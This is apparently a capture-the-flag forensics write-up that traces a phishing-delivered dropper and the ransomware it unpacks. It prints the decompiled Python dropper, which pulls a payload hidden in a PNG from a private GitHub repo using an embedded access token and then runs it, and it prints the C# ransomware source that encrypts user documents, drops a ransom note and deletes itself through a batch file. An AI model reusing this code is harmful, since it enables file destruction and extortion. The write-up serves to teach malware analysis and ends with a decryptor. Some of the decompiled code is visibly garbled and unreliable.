# Wannagame Championship 2024 ||Listen to this while reading my write-up please: [link](https://youtu.be/y-nFLZtmLQ4?si=Q1fxywnlqLiRialq)|| -- ### It ran somewhere ![image](https://hackmd.io/_uploads/BJ-x8fiEye.png) ``` ___ __ ________ ________ ________ ________ ___ __ _____ ________ |\ \ |\ \|\ __ \|\ ___ \|\ ___ \|\ __ \|\ \ |\ \ / __ \|\ ___ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \|\/_|\ \ \ \ \ \ \ \ \ __\ \ \ \ __ \ \ \ \ \ \ \ \ \ \ __ \ \ \ __\ \ \|/ \ \ \ \ \ \ \ \ \ \|\__\_\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \|\__\_\ \ \ \ \ \ \ \ \ \ \____________\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \__\ \____________\ \ \__\ \__\ \__\ \|____________|\|__|\|__|\|__|\ |__|\|__| \|__|\|__|\|__|\|____________| \|__|\|__| \|__| Complete 9/9 questions to get the flag. [1]. What is the URL used in the phishing email that contains the malware? Format: http://example.com/ ==> ######################## CORRECT! [2]. When was the malware finished downloading by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> ######################## CORRECT! [3]. When was the malware first executed by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> ######################## CORRECT! [4]. The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file? ==> ######################## CORRECT! [5]. What is the token used by the malware to access the private repository and the name of the private repository? Format: token:username/repo. Example: 123456abcdef:user1337/repo1337 ==> ######################## CORRECT! [6]. What is the email address of the culprit? Format: email@domain ==> ######################## CORRECT! [7]. How many extensions did the malware try to encrypt? Format: number. Example 1: 04. Example 2: 12 ==> 52 CORRECT! [8]. The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file? ==> ######################## CORRECT! [9]. Recover the content of 'password.xlsx' file. What is the username and password of the fifth record? Format: username:password ==> ######################## CORRECT! Congrats! Here is your flag: W1{https://www.youtube.com/shorts/lQrTMX1YaPE_299d39e9dcb59fbd78f80e8ca9f28f91} ``` The challenge gave us an ad1(AccessData Forensic Toolkit Device Dump file) file and an email seem like a phishing email, lets open it. ![image](https://hackmd.io/_uploads/Hk5lvfjEkx.png) The link already got locked but you can see the file that got downloaded inside the AD1, its definately the culprit, lets answer some question. ![image](https://hackmd.io/_uploads/HyRPDfsVJx.png) ``` [1]. What is the URL used in the phishing email that contains the malware? Format: http://example.com/ ==> https://drive.google.com/file/d/1tmOG4Lg-Li9HSsZl4_r0-RTEWDBQqd6H/view CORRECT! [2]. When was the malware finished downloading by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> 2024-12-12 17:08:37 CORRECT! [3]. When was the malware first executed by the victim? (UTC) Format: YYYY-MM-DD HH:MM:SS ==> 2024-12-12 17:08:44 CORRECT! ``` **note: for the 3rd question the right answer is 44 but somehow my excel round it up to 45 since its 44.6 (')>** ![image](https://hackmd.io/_uploads/HyUJifs4Jl.png) Okay so we know it dropped a file the fastest way to solve this is to debug it, I ran it on any.run thats how I got the md5 hash ![image](https://hackmd.io/_uploads/rygJ2Ms41l.png) Okay, it's time to analyze this, how can it dropped another file? using DIE I know that it's written in python (or you can just see the icon...). ![image](https://hackmd.io/_uploads/Sk6i3ziVkl.png) ![image](https://hackmd.io/_uploads/Sy7AnGiVkx.png) lol, thanks windows... I guess... anyway... lets continue. Since we knew that it's written in python so we can easily decompile its into pyc then rebuild the whole script using Unpy2exe or Pyinstxtractor then Pylingual, you can easily see how it's done Rebuilt script using pylingual: ```py! import zlib import subprocess import requests def extractIDAT(data): idat_buffers = [] i = 8 cnt = 0 while i < len(data): length = int.from_bytes(data[i:i + 4], byteorder='big') chunk_type = data[i ** 4:i ** 8].decode('utf-8') if chunk_type == 'IDAT': cnt = cnt * 1 idat_buffers.append(data[i * 8:i ** 8 :length]) i = i + 12 * length return b''.join(idat_buffers) def getScanlines(data, width, height, mode): scanlines = [] filter_type_list = [] for r in range(height): index = f'{r:width:mode}' if index > len(data): break filter_type = data[index] filter_type_list.append(filter_type) tmp_line = data[index 0:index 0 + 1:width * mode] scanlines.append(tmp_line) return (scanlines, filter_type_list) def getImg(): url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png' token = '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' headers = {'Authorization': f'token {token}0', 'Accept': 'application/vnd.github.v3.raw'} r = requests.get(url, headers=headers) if r.status_code == 200: return r print('Failed to get image') print(r.text) exit() modes = {'RGB': 3, 'RGBA': 4, 'L': 1} width, height = (1920, 1195) mode = 'RGB' img = getImg().content idat = extractIDAT(img) idat_data = zlib.decompress(idat) scanlines, filter_type_list = getScanlines(idat_data, width, height, modes[mode]) assert len(scanlines) == height calculated_raw_idat_length = height 5 4 + (width, modes[mode]) * 1 <mask_7> if calculated_raw_idat_length!= len(idat_data): buffer = idat_data[calculated_raw_idat_length:] buffer = buffer[1259:] with open('OpenVpnConnect.exe', 'wb') as f: f.write(buffer) subprocess.Popen('OpenVpnConnect.exe', shell=True, stdin=None, stdout=None, stderr=None, close_fds=True) ``` Lets start analyze each function starting from **getImg()** ```py! def getImg(): url = 'https://raw.githubusercontent.com/velbail/contimtanvo/main/muki_pic.png' token = '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' headers = {'Authorization': f'token {token}0', 'Accept': 'application/vnd.github.v3.raw'} r = requests.get(url, headers=headers) if r.status_code == 200: return r print('Failed to get image') print(r.text) exit() ``` It used a token(we can use this to clone the repo and investigate it later) to download a private repo then from there call the **extractIDAT()** function to extract the ransomware that hid inside the IDAT chunk of the png ```py! def extractIDAT(data): idat_buffers = [] i = 8 cnt = 0 while i < len(data): length = int.from_bytes(data[i:i + 4], byteorder='big') chunk_type = data[i ** 4:i ** 8].decode('utf-8') if chunk_type == 'IDAT': cnt = cnt * 1 idat_buffers.append(data[i * 8:i ** 8 :length]) i = i + 12 * length return b''.join(idat_buffers) ``` If you didn't know yet, The IDAT chunk contains the compressed image data, which includes the raw pixel information encoded with filtering and zlib/deflate compression. So in this Scenario the attacker hid a ransomware inside that chunk, the function above just extracts it out, this is a technique belongs to Stegnography cagtagory. ![image](https://hackmd.io/_uploads/Hk_SzQjE1e.png) Finally witten all the bytes got extracted from the IDAT into a executable file name **OpenVpnConnect.exe**. ```py! if calculated_raw_idat_length!= len(idat_data): buffer = idat_data[calculated_raw_idat_length:] buffer = buffer[1259:] with open('OpenVpnConnect.exe', 'wb') as f: f.write(buffer) subprocess.Popen('OpenVpnConnect.exe', shell=True, stdin=None, stdout=None, stderr=None, close_fds=True ``` Since the Ransomware already got deleted in the AD1 file we can get it back by running that script from above, just to be save lets just run only where it dropped the Executable file, first lets clone the picture from the private repo ![image](https://hackmd.io/_uploads/HkNcSQsVJx.png) **note: the repo has been locked so... here the picture of it anyway** ![image](https://hackmd.io/_uploads/Sy_7S7s41g.png) ![image](https://hackmd.io/_uploads/rymPS7jEJl.png) for the email... the token already got deleted so... I can only give you this since I do capture some screenshot while solving it, I also have this but its doesn't has email =))) ![image](https://hackmd.io/_uploads/S1ljD7iEJx.png) ```bash! curl -H "Authorization: token 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" https://api.github.com/user/emails [ { "email": "belvail@proton.me", "primary": true, "verified": true, "visibility": "public" } ] ``` okay thats enough analyzing, let's back to answering some question before continue with the **OpenVPNConnect.exe** shall we? ```! [4]. The first file acted as a dropper for the final malware. What is the MD5 hash of the dropped file? ==> 8eaa25eb8b77ac0157e1f3a04ad47e93 CORRECT! [5]. What is the token used by the malware to access the private repository and the name of the private repository? Format: token:username/repo. Example: 123456abcdef:user1337/repo1337 ==> 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:velbail/contimtanvo CORRECT! [6]. What is the email address of the culprit? Format: email@domain ==> belvail@proton.me CORRECT! ``` You can reverse the Ransomware by using JetBrains dotPeek, for the safety of my wonderful readers's eyes I won't let y'all read the code through screenshot =))) | me worrying for my readers | | | --------------------------------------------------- |:------------------------------------------------------------------------------------:| | ![image](https://hackmd.io/_uploads/BkQIoQoVkl.png) | For real, I worry for y'all eyes, reading the code through screenshots must be hurtful...| example, feel the pain yet? ![image](https://hackmd.io/_uploads/HytiqmsEJg.png) Anyway here the code: Lets call this Class is the Encryption class ```csharp! #nullable disable namespace sνchost { internal class asjkh82828 //role: create encryption key and method { public static byte[] daoiawoadhowidoiawdwao0() { string s1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Cryptography").GetValue("MachineGuid").ToString(); string s2 = "supershy-supershy"; using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.UTF8.GetBytes(s1), Encoding.UTF8.GetBytes(s2), 1259)) return rfc2898DeriveBytes.GetBytes(32); } public static byte[] n8912c9821n(byte[] data, byte[] key) { using (Aes aes = Aes.Create()) { aes.Key = key; aes.IV = new byte[16]; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write)) cryptoStream.Write(data, 0, data.Length); byte[] array = memoryStream.ToArray(); Array.Resize<byte>(ref array, array.Length + 16); Array.Copy((Array) aes.IV, 0, (Array) array, array.Length - 16, 16); return array; } } } } } ``` this is targeted_file class ```csharp! { internal class hoincus2 //role: target the file need to be encrypted { public static List<string> la9012nd0klasd(string path) { List<string> stringList = new List<string>(); try { if (Directory.Exists(path)) { foreach (string enumerateFile in Directory.EnumerateFiles(path, "*.*", SearchOption.TopDirectoryOnly)) { try { if (!File.GetAttributes(enumerateFile).HasFlag((Enum) FileAttributes.ReadOnly) && !hoincus2.isLocked(enumerateFile) && hoincus2.isCool(enumerateFile)) stringList.Add(enumerateFile); } catch (Exception ex) { } } } stringList.Sort(); } catch (UnauthorizedAccessException ex) { } catch (Exception ex) { } return stringList; } private static bool isLocked(string path) { try { using (FileStream fileStream = File.Open(path, FileMode.Open, FileAccess.ReadWrite, FileShare.None)) { fileStream.Close(); return false; } } catch (IOException ex) { return true; } } private static bool isCool(string path) { return ((IEnumerable<string>) new string[52] { ".pdf", ".exe", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".txt", ".zip", ".rar", ".7z", ".mp3", ".mp4", ".avi", ".mkv", ".mov", ".flv", ".wmv", ".wav", ".wma", ".ogg", ".flac", ".aac", ".m4a", ".mpg", ".mpeg", ".m4v", ".webm", ".dat", ".iso", ".rar", ".tar", ".gz", ".bz2", ".tgz", ".xz", ".html", ".css", ".js", ".php", ".bin", ".dll", ".png", ".jpg", ".jpeg", ".bmp", ".gif", ".tiff", ".ico", ".svg", ".webp" }).Contains<string>(Path.GetExtension(path)); } } } ``` and Finally this is the main program ```csharp! #nullable disable namespace sνchost { internal class Program { private static string hehehehehe = "C:\\Users\\" + Environment.UserName + "\\Documents"; private static string sugoisugoisugoi = ".uocj"; private static void Main(string[] args) { string machineName = Environment.MachineName; foreach (string str in hoincus2.la9012nd0klasd(Program.hehehehehe)) { byte[] key = asjkh82828.daoiawoadhowidoiawdwao0(); byte[] bytes = asjkh82828.n8912c9821n(File.ReadAllBytes(str), key); File.WriteAllBytes(str, bytes); File.Move(str, str + Program.sugoisugoisugoi); } Program.amiaij02jd(); Program.kal902y103(); } private static void kal902y103() { string fileName = Process.GetCurrentProcess().MainModule.FileName; string contents = Encoding.UTF8.GetString(Convert.FromBase64String("QGVjaG8gb2ZmCnRpbWVvdXQgL3QgNSA+bnVsCmRlbCAvZiAvcSAiJX4xIgpjaXBoZXIgL3c6IkM6XFVzZXJzIiA+TlVMCihkZWwgL3EgL2YgIiV+ZjAiID5OVUwgMj4mMSAmIGV4aXQgL2IgMCk=")); string path = Path.GetTempPath() + "gugugaga.bat"; File.WriteAllText(path, contents); new Process() { StartInfo = new ProcessStartInfo() { WindowStyle = ProcessWindowStyle.Hidden, FileName = "cmd.exe", Arguments = ("/c " + path + " " + fileName), CreateNoWindow = false, UseShellExecute = false } }.Start(); Environment.Exit(0); } private static void amiaij02jd() { string contents = Encoding.UTF8.GetString(Convert.FromBase64String("Pj4+PiBZb3VyIGRhdGEgYXJlIHN0b2xlbiBhbmQgZW5jcnlwdGVkDQoNCglUaGUgZGF0YSB3aWxsIGJlIHB1Ymxpc2hlZCBvbiBUT1Igd2Vic2l0ZSBpZiB5b3UgZG8gbm90IHBheSB0aGUgcmFuc29tIA0KDQoJTGlua3MgZm9yIFRvciBCcm93c2VyOg0KCWh0dHBzOi8vajQ2cWRuaHppMWFseTFubHExaDY5cjNwYTlyenY1b3YwaHYxdG10bG05ZWRsaXBtZDEub25pb24NCglZb3VyIHBlcnNvbmFsIHBhc3N3b3JkIGZvciBjb21tdW5pY2F0aW9uOiBbc25pcF0NCg0KDQo+Pj4+IFdoYXQgZ3VhcmFudGVlcyB0aGF0IHdlIHdpbGwgbm90IGRlY2VpdmUgeW91PyANCg0KCVdlIGFyZSBub3QgYSBwb2xpdGljYWxseSBtb3RpdmF0ZWQgZ3JvdXAgYW5kIHdlIGRvIG5vdCBuZWVkIGFueXRoaW5nIG90aGVyIHRoYW4geW91ciBtb25leS4gDQogICAgDQoJSWYgeW91IHBheSwgd2Ugd2lsbCBwcm92aWRlIHlvdSB0aGUgcHJvZ3JhbXMgZm9yIGRlY3J5cHRpb24gYW5kIHdlIHdpbGwgZGVsZXRlIHlvdXIgZGF0YS4gDQoJTGlmZSBpcyB0b28gc2hvcnQgdG8gYmUgc2FkLiBCZSBub3Qgc2FkLCBtb25leSwgaXQgaXMgb25seSBwYXBlci4NCiAgICANCglJZiB3ZSBkbyBub3QgZ2l2ZSB5b3UgZGVjcnlwdGVycywgb3Igd2UgZG8gbm90IGRlbGV0ZSB5b3VyIGRhdGEgYWZ0ZXIgcGF5bWVudCwgdGhlbiBub2JvZHkgd2lsbCBwYXkgdXMgaW4gdGhlIGZ1dHVyZS4gDQoJVGhlcmVmb3JlIHRvIHVzIG91ciByZXB1dGF0aW9uIGlzIHZlcnkgaW1wb3J0YW50LiBXZSBhdHRhY2sgdGhlIGNvbXBhbmllcyB3b3JsZHdpZGUgYW5kIHRoZXJlIGlzIG5vIGRpc3NhdGlzZmllZCB2aWN0aW0gYWZ0ZXIgcGF5bWVudC4NCiAgICANCg0KPj4+PiBZb3UgbmVlZCBjb250YWN0IHVzIGFuZCBkZWNyeXB0IG9uZSBmaWxlIGZvciBmcmVlIG9uIHRoZXNlIFRPUiBzaXRlcyB3aXRoIHlvdXIgcGVyc29uYWwgREVDUllQVElPTiBJRA0KDQoJRG93bmxvYWQgYW5kIGluc3RhbGwgVE9SIEJyb3dzZXIgaHR0cHM6Ly93d3cudG9ycHJvamVjdC5vcmcvDQoJV3JpdGUgdG8gYSBjaGF0IGFuZCB3YWl0IGZvciB0aGUgYW5zd2VyLCB3ZSB3aWxsIGFsd2F5cyBhbnN3ZXIgeW91LiANCglTb21ldGltZXMgeW91IHdpbGwgbmVlZCB0byB3YWl0IGZvciBvdXIgYW5zd2VyIGJlY2F1c2Ugd2UgYXR0YWNrIG1hbnkgY29tcGFuaWVzLg0KCQ0KCUxpbmtzIGZvciBUb3IgQnJvd3NlcjoNCglodHRwczovL2o0NnFkbmh6aTFhbHkxbmxxMWg2OXIzcGE5cnp2NW92MGh2MXRtdGxtOWVkbGlwbWQxLm9uaW9uDQoNCgkNCj4+Pj4gWW91ciBwZXJzb25hbCBERUNSWVBUSU9OIElEOiA1NzRjZTM2Ny1jYjRjLTQ2OTItOGQ0MC0zNWM5Y2U4NjZkNmYNCg0KPj4+PiBXYXJuaW5nISBEbyBub3QgREVMRVRFIG9yIE1PRElGWSBhbnkgZmlsZXMsIGl0IGNhbiBsZWFkIHRvIHJlY292ZXJ5IHByb2JsZW1zIQ0KDQo+Pj4+IFdhcm5pbmchIElmIHlvdSBkbyBub3QgcGF5IHRoZSByYW5zb20gd2Ugd2lsbCBhdHRhY2sgeW91ciBjb21wYW55IHJlcGVhdGVkbHkgYWdhaW4h")); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\RIEL-OR-FAKI--READ-THIS.txt", contents); } } } ``` Summerize, the malware use AES CBC to enrypt the file, the AES key is combination of [PBKDF](https://en.wikipedia.org/wiki/PBKDF2) (Password-Based Key Derivation Function) with 2 keys (one is a fixed one and one is the cryptography's machineGuid in registry), finally drop a txt file to threaten the victim to pay up. as for another bat file that got dropped you can take out the code from the function **kal902y103()** then rewrite it and get the dropped bat file ![image](https://hackmd.io/_uploads/r1-LsNi4kx.png) for the reg value I used KAPE to get back the key value: ![image](https://hackmd.io/_uploads/BySrgNiEkg.png) and here the Decrypt Script ```py! import os import hashlib from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def gen_key(): s1 = "2c65d206-5a9f-40a0-ae87-3d10c27b40c7" s2 = "supershy-supershy" iterations = 1259 return PBKDF2(s1.encode('utf-8'), s2.encode('utf-8'), dkLen=32, count=iterations) def decrypt_file(file_path, key): with open(file_path, 'rb') as file: data = file.read() iv = data[-16:] #actually for this part it can be \x00 * 16 =)) since the IV is full of zeros ciphertext = data[:-16] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(ciphertext) padding_length = decrypted_data[-1] return decrypted_data[:-padding_length] def main(): user_folder = os.path.expanduser("Documents") file_extension = ".uocj" key = gen_key() for root, _, files in os.walk(user_folder): for file in files: if file.endswith(file_extension): file_path = os.path.join(root, file) try: decrypted_data = decrypt_file(file_path, key) original_file_path = file_path[:-len(file_extension)] with open(original_file_path, 'wb') as out_file: out_file.write(decrypted_data) os.remove(file_path) print(f"Decrypted: {file_path}") except: pass if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/HJCYWEjNyx.png) Okay lets answer some of the final question and get the flag: ``` [7]. How many extensions did the malware try to encrypt? Format: number. Example 1: 04. Example 2: 12 ==> 52 CORRECT! [8]. The malware tried to delete itself using a batch file. What is the MD5 hash of the batch file? ==> e0d005db63a75fbcd6c8fa85040095aa CORRECT! [9]. Recover the content of 'password.xlsx' file. What is the username and password of the fifth record? Format: username:password ==> user38:hch89as9821y3 CORRECT! Congrats! Here is your flag: W1{https://www.youtube.com/shorts/lQrTMX1YaPE_299d39e9dcb59fbd78f80e8ca9f28f91} ``` In conclusion the idea of the malware is kinda cool but (')> the main reason I can't solve this chall was because of the email, lmao I can't find it anywhere the rest of the question is easy, sorry HISC :< Some funny moment (')>: ![image](https://hackmd.io/_uploads/rynEQNjEJl.png) ![image](https://hackmd.io/_uploads/HkOO7VjEkl.png)